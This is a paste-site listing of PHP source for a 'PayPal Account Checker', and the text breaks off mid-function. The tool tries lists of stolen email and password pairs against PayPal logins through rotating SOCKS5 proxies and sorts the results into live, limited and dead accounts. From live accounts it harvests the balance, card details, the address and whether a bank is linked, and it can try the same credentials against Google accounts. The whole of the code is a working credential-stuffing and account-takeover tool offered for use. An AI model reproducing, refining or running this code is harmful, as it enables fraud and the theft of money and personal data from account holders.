MLT icon

PHP - PayPal Account Checker

MLT | PRO | 11/10/13 06:14:11 PM UTC | 0 ⭐ | 984 👁️ | Never ⏰ | []
PHP |

46.82 KB

|

None

|

0 👍

/

0 👎

<?php 
 
error_reporting(0);
set_time_limit(0);
session_save_path('cookie');
ini_set('session.gc_probability', 1);
$cookiejar = 'cookie/st'.rand(10000000000,99999999999).'123.txt'; 
$cookiejar1 = 'cookie/st'.rand(10000000000,99999999999).'1234.txt'; 
@fclose(fopen($cookiejar,'w'));
@fclose(fopen($cookiejar1,'w'));
global $cookiejar;
global $cookiejar1;
 
 
require_once('unf.class.php');
?>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>-=[ Paypal Checker ]=-</title>
<script type="text/javascript">
function timsock(){
    var sockslist = window.document.frmMain.s.value;
    var unf = sockslist.match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}((:)|(\s)+)\d{1,8}/g );
    if(unf){
        var list="";
        for(var i=0;i<unf.length;i++){
            if(unf[i].match(/\d{1,3}([.])\d{1,3}([.])\d{1,3}([.])\d{1,3}(\s)+\d{1,8}/g )){
                unf[i]=unf[i].replace(/(\s)+/,':');
            }
            list=list+unf[i]+"\n";
        }
        window.document.frmMain.s.value=list;
    }
    else{
        window.document.frmMain.s.value="Error";
        window.location = "#";
    }
}
</script>
<link rel="stylesheet" type="text/css" href="../../../css/default1.css">
</head>
<body>
<center>
<form name="frmMain" id="frmMain" method="post" action="">
    <div style="width:100%">
        <div style="width:90%">
 
            <div id="mp" style="width:50%;float:left">
                <b>List Mail & Password:</b>
            </div>
            <div id="mp" style="width:50%;float:left">
                <b>List Socks5</b><br />
                (Auto Check Blacklist, Just Add List Socks 5 But Recommend Socks Fresh/Private):
            </div>
            <div id="mp" style="clear:both;width:50%;float:left">
                <textarea rows="10" style="width:100%" name="mp" value=""><?php echo $_POST['mp'];?></textarea>
            </div>
            <div id="s" style="width:50%;float:left">
                <textarea rows="10" style="width:100%" name="s" value=""><?php echo $_POST['s'];?></textarea>
            </div>
        </div>
        <div style="width:90%;clear:both">
            <b>Delim : </b> <input type="text" name="split" size= 4 value="<?php if($_POST['split']){echo $_POST['split'];}else{ echo '|';}?>"/>
            <b>Mail : </b> <input type="text" name="mail" size= 4 value="<?php if($_POST['mail']){echo $_POST['mail'];}else{echo '1';}?>" />
            <b>Password : </b> <input type="text" name="pass" size= 4 value="<?php if($_POST['mail']){echo $_POST['pass'];}else{echo '2';}?>" />
            <b>Timeout PP : </b> <select name="paypaltimeout" ><option value="10"  >10s</option><option value="9"  >9s</option><option value="8" selected >8s</option><option value="7"  >7s</option><option value="6"  >6s</option><option value="5"  >5s</option><option value="4"  >4s</option><option value="3"  >3s</option><option value="2"  >2s</option><option value="1"  >1s</option></select>
            <br><input type=checkbox name=checkmail checked> Check Email <input type=checkbox name=getinfo checked> Get Card <input type=checkbox name=getbank checked> Get Bank<br>
            <b>Change Sock if DIE : </b><input type="text" name="diechange" size= 4 value="<?php if($_POST['diechange']){echo $_POST['diechange'];}else{echo '10';}?>" /> <br><br>
            <input type="submit" name="submit" value="      Submit !!!      " onClick="timsock();"/>
        </div>
        <br /><br /><br />
   </div>
</form>
</center>
</body>
</html>
<?php
if(isset($_POST['mp']) && isset($_POST['s']) && isset($_POST['pass']) && isset($_POST['paypaltimeout']) && isset($_POST['diechange'])){
    $slist = trim($_POST['s']); 
    $mlist = trim($_POST['mp']);
    $pp_timeout = trim($_POST['paypaltimeout']); 
    $slist = str_replace(array("\\\"","\\'"),array("\"","'"),$slist); 
    $slist = str_replace("\n\n","\n",$slist); 
    $mlist = str_replace(array("\\\"","\\'"),array("\"","'"),$mlist); 
    $mlist = str_replace("\n\n","\n",$mlist); 
    $slist = explode("\n", $slist);
    $mlist = explode("\n", $mlist);
    $email = trim($_POST['mail']);
    $splits = $_POST['split'];
    $pass = trim($_POST['pass']);
    $diechange= (int)$_POST['diechange'];
    $tsdie = "";
    $tslimit = "";
    $tslive = "";
    $tserror = "";
    $sldie = 0;
    $sllimit = 0;
    $sllive = 0;
    $slerror = 0;
 
    if(!$pass){
                die("<br />Please enter complete information.<br /><br />");
    }
        
    $unfaceguymail = count($mlist);
    $unfaceguysock=count($slist);
    /*if($unfaceguymail > 25)
    {
        die("<br /><b>Demo Version - Check 25 mails / 1 turn <br />
            Contact Y!M : vsb_unface for FULL VERSION !!!</b>
            <br />");
    }*/
    $unf= new Paypal;
    $j = 0;
    $dem_sl = 0;
    $maxs = 0;
 
    $unfaceguy=0;
    $unfaceguycount=0;
    $markz=$unfaceguymail-1;
    for($i=0;$i<$unfaceguysock;$i++){
 
        $maxs = $maxs + 1;
        $_sockcheckto = $slist[$i];
        $_checkclear = $unf->CheckSock($slist[$i], $cookiejar, $pp_timeout);
        if ($_checkclear == "2"){
            echo " >>>>>USING $slist[$i]  <<<<< <br>";
 
            for($j=$unfaceguy;$j<100;$j++)  
            {
                //$unfaceguycount++;
 
            $_mp = explode($splits, $mlist[$j]);
            $_mail = trim($_mp[($email - 1)]);
            $_pass = trim($_mp[($pass - 1)]);   
            if(strlen($_pass)>7){
                $paypal = $unf->isLogin($_mail, $_pass, $slist[$i],$splits, $cookiejar);
                $STT = $j + 1;
                if($paypal == "SOCKTIME"){
                    echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
                    //$i++;
                    break;
                }
                elseif($paypal == "SOCKBL"){
                    echo $slist[$i]." <font color=red> <<< BlackList</font><br>";
                    //$i++;
                    break;
                }
                elseif($paypal == "LIMITED"){
                    echo "$STT. <b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $tslimit .= "<b><font color=orange>LIMITED =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $sllimit++;
                    //$i++;
                    $unfaceguy=$j+1;
                    break;
                }
                elseif($paypal == "SECURITY"){
                    echo "$STT. <b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $tslimit .= "<b><font color=purple>SECURITY MEASURES =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $sllimit++;
                    //$i++;
                    $unfaceguy=$j+1;
                    break;                  
                }
                elseif($paypal == "UPDATE"){
                    echo "$STT. <b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $tserror .= "<b><font color=purple>UPDATE ACCOUNT =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $slerror++;
                    //$i++;
                    $unfaceguy=$j+1;
                    break;                  
                }
                elseif($paypal == "PASSWORD"){
                    echo "$STT. <b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $tserror .= "<b><font color=aqua>CREATE PASSWORD =></b></font> $_mail | $_pass | $slist[$i]<br>";
                    $slerror++;
                    //$i++;
                    $unfaceguy=$j+1;
                    break;                  
                }
                elseif($paypal == "DIE"){
                    echo "$STT. <b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
                    $tsdie .= "<b><font color=red>DIE =></font></b> $_mail | $_pass | $_slist[$i]<br>";
                    $dem_sl = $dem_sl + 1;
                    if($dem_sl == $diechange){
                        //$i = $i + 1;
                        $dem_sl = 0;
                        $unfaceguy=$j+1;
                        break;
                    }
                    //$i++;
                    //$unfaceguy=$j+1;
                    $sldie++;
                    //break;
 
                }
                elseif($paypal == "ERROR"){
                    echo "$STT. <b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
                    $tserror .= "<b><font color=aqua>ERROR =></font></b> $_mail | $_pass | $_slist[$i]<br>";
                    $dem_sl = $dem_sl + 1;
                    if($dem_sl == $diechange){
                        //$i = $i + 1;
                        $dem_sl = 0;
                        $unfaceguy=$j+1;
                        break;
                    }
                    
                    $slerror++;
                }
                else{
                    echo "$STT. <b><font color=green>Live |</b></font> $paypal";
                    $tslive .= "<b><font color=green>Live |</b></font> $paypal";
                    $sllive++;
                    //$i++;
                    $unfaceguy=$j+1;
                    break;  
                }
            }
                if($j==$markz)
                {
                    $i=$i+10000;    
                }
            }
            //$j = $j + 1;
 
        }
        elseif($_checkclear == "1"){
            echo $slist[$i]." <font color=red> <<< Blacklist PayPal</font><br>";
        }elseif($_checkclear == "3"){
            echo $slist[$i]." <font color=orange> <<< Time Out</font><br>";
        }
        flush();
        sleep(1);
    }
    if($maxs > count($slist)){
        echo "<font color=aqua><b>Over Sock !!!</b></font>";
    }else{
        echo "<font color=aqua><b>Tool use to sock:".$_sockcheckto."</b></font>";
    }
    unlink($cookiejar);
    $totalchecked = 0;
    $totalchecked = $sllive + $sldie + $slerror + $sllimit;
    echo "<hr>";
    echo "<center><font size=5 color=aqua>Total : <font size=6 color=red>".count($mlist)."</font> | Total Checked : <font size=6 color=red>".$totalchecked."</font> | Live : <font color=red size=6>".$sllive."</font> | Limit : <font color=red size=6>".$sllimit."</font> | Die : <font color=red size=6>".$sldie."</font> | Error : <font color=red size=6>".$slerror."</font></font></center><hr>";
    echo $tslive;
    echo "<hr>";
    echo $tslimit;
    echo "<hr>";
    echo $tsdie;
    echo "<hr>";
    echo $tserror;
    
}
?>
-------------------------------------------------------------------------------------------------------
 
 
 
 
 
 
 
 
 
MAIN Code  -
 
 
-------------------------------------------------------------------------------------------------------
 
 
 
<?php
 
$cookie_checkmail = 'cookie/mail'.rand(10000000000,99999999999).'123.txt';
fclose(fopen($cookie_checkmail,'w'));
global $cookie_checkmail;
 
 
class analytics_api {
    public $auth;
    public $accounts;
    public function login($email, $password, $_sock) {      
        $curl = $this->curl_init("https://www.google.com/accounts/ClientLogin");
        curl_setopt($curl, CURLOPT_POST, true);
        
        $data = array(
            'accountType' => 'GOOGLE',
            'Email' => $email,
            'Passwd' => $password,
            'service' => 'analytics',
            'source' => ''
        );
            if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
            }
        curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
        $output = curl_exec($curl);
        
        $info = curl_getinfo($curl);
        curl_close($curl);
        
        $this->auth = '';
        if($info['http_code'] == 200) {
            preg_match('/Auth=(.*)/', $output, $matches);
            if(isset($matches[1])) {
                $this->auth = $matches[1];
            }
        }
        
        return $this->auth != '';
    
    }
    protected function curl_init($url) {        
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
 
        if($this->auth) {
            curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: GoogleLogin auth=$this->auth"));
        }
    curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 30);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
 
        return $curl;
        
    }
 
}
 
class Paypal{
    
    
function _curl($url,$post="",$usecookie = false) {  
    $ch = curl_init();
    if($post) {
        curl_setopt($ch, CURLOPT_POST ,1);
        curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
    }
    curl_setopt($ch, CURLOPT_URL, $url); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6"); 
    if ($usecookie) { 
        curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie); 
        curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
    } 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); 
    $result=curl_exec ($ch); 
    curl_close ($ch); 
    return $result; 
}
 
function curl_get($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
    static $curl;
    if(empty($curl)) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar);
        curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar);
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
        //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
        //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
    }
    if($headers){
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    }
    if($timeout){
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
        curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
    }
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_URL, $url);
    if(stripos($url, 'https')!==false) {
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); 
    }
    if ($postfields) {
        curl_setopt($curl, CURLOPT_POST, 1);    
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
    }
    if ($ref){  
            curl_setopt($curl, CURLOPT_REFERER,$ref); 
    }
    $response = curl_exec($curl);
    
    return $response;
    //curl_close ($curl);
    @unlink($cookiejar);
}
 
 
########################################
function curl_get1($url, $postfields=false, $_sock=false,$cookiejar=false, $ref, $timeout=false, $headers = false) {
    //static $curl;
    if(empty($curl)) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_COOKIEJAR,  $cookiejar1);
        curl_setopt($curl, CURLOPT_COOKIEFILE, $cookiejar1);
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_USERAGENT, $this->get_agent(rand(0,44)));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 10);
        curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
        //curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 2);
        //curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, true);
        //curl_setopt($curl, CURLOPT_CAINFO, getcwd() . "/test/VeriSignClass3PublicPrimaryCertificationAuthority-G5.crt");
    }
    if($headers){
        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    }
    if($timeout){
        curl_setopt($curl, CURLOPT_CONNECTTIMEOUT,$timeout);
        curl_setopt($curl, CURLOPT_TIMEOUT,$timeout);
    }
    if($_sock){
            curl_setopt($curl, CURLOPT_PROXY, $_sock);
            curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
    }
    curl_setopt($curl, CURLOPT_URL, $url);
    if(stripos($url, 'https')!==false) {
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0); 
    }
    if ($postfields) {
        curl_setopt($curl, CURLOPT_POST, 1);    
        curl_setopt($curl, CURLOPT_POSTFIELDS, $postfields);
    }
    if ($ref){  
            curl_setopt($curl, CURLOPT_REFERER,$ref); 
    }
    $response = curl_exec($curl);
    
    return $response;
    //curl_close ($curl);
    @unlink($cookiejar1);
}
 
 
#######################################
// testing
function getbetween($content,$start,$end){
        $r = explode($start, $content);
        if (isset($r[1])){
            $r = explode($end, $r[1]);
            if ($r[0] == '') return 'Unknown';
            return $r[0];
        }
        return 'Unknown';
    }
 
    function inStr($s,$as)
    { 
        $s=strtoupper($s); 
        if(!is_array($as)) $as=array($as); 
        for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true; 
        return false; 
    }
###############
function CheckSock($sock,$cookie, $timeout){
    //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
    $site="http://megaupload.com/?c=premium";
    $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
    $s = $this->curl_get1($site1,false,$sock,false, $timeout ); 
    $currentpage = $this->getbetween($s,'s.prop1="','";');
    if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){ 
        if((stristr($s,"Choose a PayPal Password")) || (stristr($s,"fieldrow password-create")) || (stristr($s,"Create PayPal Password")) || (preg_match('/Re-enter password/', $s))){
            return "1";
        }
        else{
            return "2";
        }
    }
    else{
        return "3";
    }
}
function CheckSock3($sock,$cookie, $timeout,$cookiejar ){
    //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
    $site="http://megaupload.com/?c=premium";
    $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
    $s = $this->curl_get1($site1,false,$sock,site, $timeout,$cookiejar );
        if(!$s) return 3;
        elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:SignUp";')) return 1;
        elseif($this->inStr($s, 's.pageName="MF:1X:Button:Entry:Billing";')) return 2;
        else return 3;
    
}
 
function CheckSock1($sock,$cookie, $timeout){
    $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Web+Hosting+Donation&item_number=donation_11557&amount=20.00";
    //$site="http://megaupload.com/?c=premium";
    //$site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&[email protected]&item_name=Lifetime+premium+membership+for+Megaupload.com&item_number=premium+(28470707127)&amount=199.99&no_note=1&lc=US&no_shipping=1&currency_code=USD";
    $s = $this->curl_get($site1,false,$sock,false, $timeout);
    $currentpage = $this->getbetween($s,'s.prop1="','";');
    if ((strpos($currentpage,"Billing") !== false) || (stristr($s,"credit card"))){ 
        if((preg_match("/Choose a PayPal Password/", $s)) || (preg_match("/fieldrow password-create/", $s))|| (preg_match("/Create PayPal Password/", $s))){
            return "1";
        }
        else{
            return "2";
        }
    }
    else{
        return "3";
    }
}
 
 
function isLogin($email, $password, $sock,$split,$cookiejar) {
    $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-run";
    $s = $this->curl_get($site, false, $sock, "http://www.paypal.com" );
    $post = $this->getHiddenFormInputs($s, 'login_form');
    if (!$post){
        return "SOCKTIME";
    }
    $post['login_email'] = $email;
    $post['login_password'] = $password;
    $post = $this->serializePostFields($post);
    $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit";
    $s = $this->curl_get('https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit', $post, $sock, 'http://www.paypal.com');
    
    if($s){
        if(preg_match("/Security Measures/", $s)){
            return "SECURITY";
        }
        elseif(preg_match('/more than 5 seconds/', $s)){
            $_abc = $this->getStr($s,'more than 5 seconds, <a href="', '">click here');
            $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
        }
        elseif(preg_match("/Please create a new password for your account/", $s)){
            return "PASSWORD";
        }
        elseif(preg_match("/Update account information/", $s)){
            return "UPDATE";
        }
        else{
            $_abc = "https://www.paypal.com/bh/cgi-bin/webscr?cmd=_account&nav=0.0";
            $s = $this->curl_get($_abc, false, $sock, 'https://www.paypal.com/us/cgi-bin/webscr?cmd=_login-submit');
        }
    }
    else{
        return "SOCKTIME";
    }
 
    if($s){
        $FAIL = $this->getStr($s, 's.prop15="','"');
        $NOW = $this->getStr($s,'s.prop1="','"');
        $TYPE = $this->getStr($s,'s.prop7="','"');
        $STATUS = $this->getStr($s,'s.prop8="','"');
        $LIMIT = $this->getStr($s,'s.prop9="','"');
        $BALANCE = $this->getStr($s,'<span class="balance">', '</span>');
        $BALANCE = str_replace('<strong>',"",$BALANCE);
        $BALANCE = str_replace('</strong>',"",$BALANCE);
        $LASTLOGIN = $this->getStr($s,'<div class="small secondary">', '</div>');
        
        if($LIMIT == "Unrestricted"){
            $LIMIT = "Unlimit";
        }
        else{
            $LIMIT = "LIMITED";
        }
        
        if(!stristr($TYPE, "Unknown") or !stristr($STATUS, "Unknown")){
            if($LIMIT == "Unlimit"){
                $result = " $email | $password | <font color=\"yellow\"><b>$TYPE</b></font> | <font color=\"green\"><b>$STATUS</b></font> | <b>$BALANCE</b> | $LASTLOGIN ";
                if($_POST['checkmail'] == true){
                    $mailchecked = $this->getmail($split, $email, $password, $sock);
                    $result .= "| $mailchecked ";
                }
                //$result .= " |";
                if($_POST['getinfo']==true){
                    $info = $this->GETINFO($sock,$cookiejar);
                    
                    //if($info == false){
                    //  $info = "<font color=red>NOT CARD</font>";
                    //}
                    $result .= "| $info ";
                }
                if($_POST['getbank']==true){
                    $info1 = $this->GETBANK($sock,$cookiejar);
 
                    $result .= "| <b>$info1</b> ";
                }
                
                $result.="| $sock<br /> ";
                return $result;
            }
            else{
                return "LIMITED";
            }
        }
        elseif(stristr($NOW, "wax_error")){
            return "LIMITED";
        }
        elseif(stristr($NOW, "SecurityChallenge")){
            return "SOCKBL";
        }
        elseif(stristr($NOW,"home") or stristr($NOW,"login")){
            return "DIE";
        }
        elseif(stristr($FAIL, "login_email")){
            return "ERROR";
        }
        else{
            return "ERROR";
        }   
    }
    else{
        return "SOCKTIME";
    }
}
 
function GETINFO($sock,$cookiejar) {
    $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
    $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
    $checkcard = strpos($response, "Last 4 digits on card");
    $checkcard1 = strpos($response, "Last four digits on card");
    preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
            if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
            elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
    //if((!$checkcard) && (!$checkcard1))
    //{
    //  return false;
    //}else{
        $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
        $_type = $temp[0];
        $temp = $this->getStr1($temp[1],'<td>','</td>');
        $_4digit = $temp[0];
        $temp = $this->getStr1($temp[1],'<td>','</td>');
        $_exp = $temp[0];
        //$infocard = "$_type $_4digit $_exp | ";
        $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
    }
 
    $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
    $response = $this->curl_get($site, false, $sock,"http://www.paypal.com");
    $info = $this->getStr($response,'<span class="emphasis">','</span>');
    $info = str_replace("<br>"," | ",$info);
    
    $info = $infocard.$info;
    
    //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
    //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
    //$mail = $this->getStr($s,'emailList-','"');
    
    /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
    $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
    $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');   
    
    $info = $info.$phone.' | '.$mail;*/
    return $info;
}
    function infocard($info)
    {
        if($info)
        {
            preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
            if($this->inStr($pageName[1][0], "F: Add CC")) return "<font color='red'>Not Card</font>";
            elseif($this->inStr($pageName[1][0], "Profile"))
            {
                preg_match_all('/<table class="basic fullTable">(.*?)<\/table>/is',$info,$card);
                preg_match_all('/<img src="(.*?)<dl>/is',$card[1][0],$sk);
                $pka = "<font color='yellow'>Have Card";
                foreach ($sk[0] as $sd1)
                {
                    $sd1 = "<td>".$sd1;
                    preg_match_all('/<td>(.*?)<\/td>/is',$sd1,$sk1);
                    preg_match_all('/<img src="(.*?)" border="0" alt="(.*?)">/is',$sk1[1][0],$sd2);
                    $pka  =  $pka." | ".trim($sd2[2][0])." - ".trim($sk1[1][1])." - ".trim($sk1[1][2]);
                }
            $pka = $pka."</font>";
            return $pka;
            }
        }
        else
        return "<font color='red'> CHECK CARD ERROR </font>";
    }
    
################
/*function GETINFO($sock) {
    $site = "https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2";
    $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
    $checkcard = strpos($response, "Last 4 digits on card");
    $checkcard1 = strpos($response, "Last four digits on card");
    preg_match_all('/s.pageName="(.*?)";/is',$response,$pageName);
            if(($this->inStr($pageName[1][0], "F: Add CC")) || ($this->inStr($pageName[1][0], "Add"))) return "<font color=red>NOT CARD</font>";
            elseif(($this->inStr($pageName[1][0], "Profile")) || ($checkcard) || ($checkcard1) ){
                
    
    /*$checkcard = strpos($response, "Last 4 digits on card");
    $checkcard1 = strpos($response, "Last four digits on card");
    if((!$checkcard) && (!$checkcard1))
    {
        return false;
    }else{
        
        $temp = $this->getStr1($response,'.gif" border="0" alt="','">');
        $_type = $temp[0];
        $temp = $this->getStr1($temp[1],'<td>','</td>');
        $_4digit = $temp[0];
        $temp = $this->getStr1($temp[1],'<td>','</td>');
        $_exp = $temp[0];
        //$infocard = "$_type $_4digit $_exp | ";
        $infocard = "<font color=yellow>$_type $_4digit $_exp</font> | ";
    }
 
 
    $site = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
    $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
    $info = $this->getStr($response,'<span class="emphasis">','</span>');
    $info = str_replace("<br>"," | ",$info);
    
    
    /*$info = $this->infocard($response);
    $site1 = "https://www.paypal.com/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3";
    $response1 = $this->curl_get($site1, false, $sock, "http://www.paypal.com");
    $info1=$this->infopp($response1);
    $info .= $info1;
    
    $info = $infocard.$info;
    
    //$sitemail = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-email";
    //$s = $this->curl_get($sitemail,false,$sock,"http://www.paypal.com");
    //$mail = $this->getStr($s,'emailList-','"');
    
    /*$sitephone = "https://www.paypal.com/ca/cgi-bin/webscr?cmd=_profile-phone";
    $s = $this->curl_get($sitephone,false,$sock,"http://www.paypal.com");
    $phone = $this->getStr($this->getStr($s,'checked name="phone" value="','</td>'),'">','</label>');   
    
    $info = $info.$phone.' | '.$mail;*/
    //return $info;
//}*/
 
    function infobank($info)
    {
        if($info)
        {
            preg_match_all('/s.pageName="(.*?)";/is',$info,$pageName);
            if(($this->inStr($pageName[1][0], "Enter Bank Details")) || ($this->inStr($pageName[1][0], "AddBankManualDisabled"))) return "<font color='red'>Not Bank</font>";
            elseif($this->inStr($pageName[1][0], "Profile")) return "<font color='yellow'>Have Bank</font>";
        }
        else
        return "<font color='red'> CHECK BANK ERROR </font>";
    }
function GETBANK($sock,$cookiejar) {
    $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
    $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
    /*$checkbank = preg_match("/Add a bank account/i", $response);
    $checkbank1 = preg_match("/Link your bank account/i",$response);
    if(($checkbank)||($checkbank1))
    {
        return "<font color=red>NOT BANK</font>";
    }
    else 
    {
 
        //$_bank = $temp[0];
        //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
        //$_status = $temp[0];
        $infobank= "<font color=green>HAVE BANK</font>";
        return $infobank;
    }*/
    $infobank= $this->infobank($response);
    return $infobank;
}
 
 
 
 
 
 
 
 
 
 
 
 
 
 
############
/*function GETBANK($sock) {
    $site = "https://www.paypal.com/uk/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1";
    $response = $this->curl_get($site, false, $sock, "http://www.paypal.com");
    $checkbank = preg_match("/Add a bank account/i", $response);
    $checkbank1 = preg_match("/Link your bank account/i",$response);
    if(($checkbank)||($checkbank1))
    {
        return "<font color=red>NOT BANK</font>";
    }
    else 
    {
 
        //$_bank = $temp[0];
        //preg_match_all('/<td class="heavy">([\w\W]*?)<\/td>/is',$response, $matches);
        //$_status = $temp[0];
        $infobank= "<font color=green>HAVE BANK</font>";
        return $infobank;
    }
}*/
 
function getStr1($string,$start,$end){
    $str = explode($start,$string,2);
    $str = explode($end,$str[1],2);
    return $str;
}
 
 
function getStr($string,$start,$end){
    $str = explode($start,$string);
    $str = explode($end,$str[1]);
    return $str[0];
}
 
 
function getHiddenFormInputs($html) {
    if(!preg_match('|<form[^>]+login_form[^>]+>.*</form>|Usi', $html, $form)) {
        return '';
    }
    if(!preg_match_all('/<input[^>]+hidden[^>]*>/i', $form[0], $inputs)) {
        return '';
    }
    $hiddenInputs = array();
    foreach($inputs[0] as $input){
        if (preg_match('|name\s*=\s*[\'"]([^\'"]+)[\'"]|i', $input, $name)) {
            $hiddenInputs[$name[1]] = '';
            if (preg_match('|value\s*=\s*[\'"]([^\'"]*)[\'"]|i', $input, $value)) {
                $hiddenInputs[$name[1]] = $value[1];
            }
        }
    }
    return $hiddenInputs;
}
 
function serializePostFields($postFields) {
    foreach($postFields as $key => $value) {
        $value = urlencode($value);
        $postFields[$key] = "$key=$value";
    }
    $postFields = implode($postFields, '&');
    return $postFields;
}
 
function rmdirr($dirname){
    if (!file_exists($dirname)){
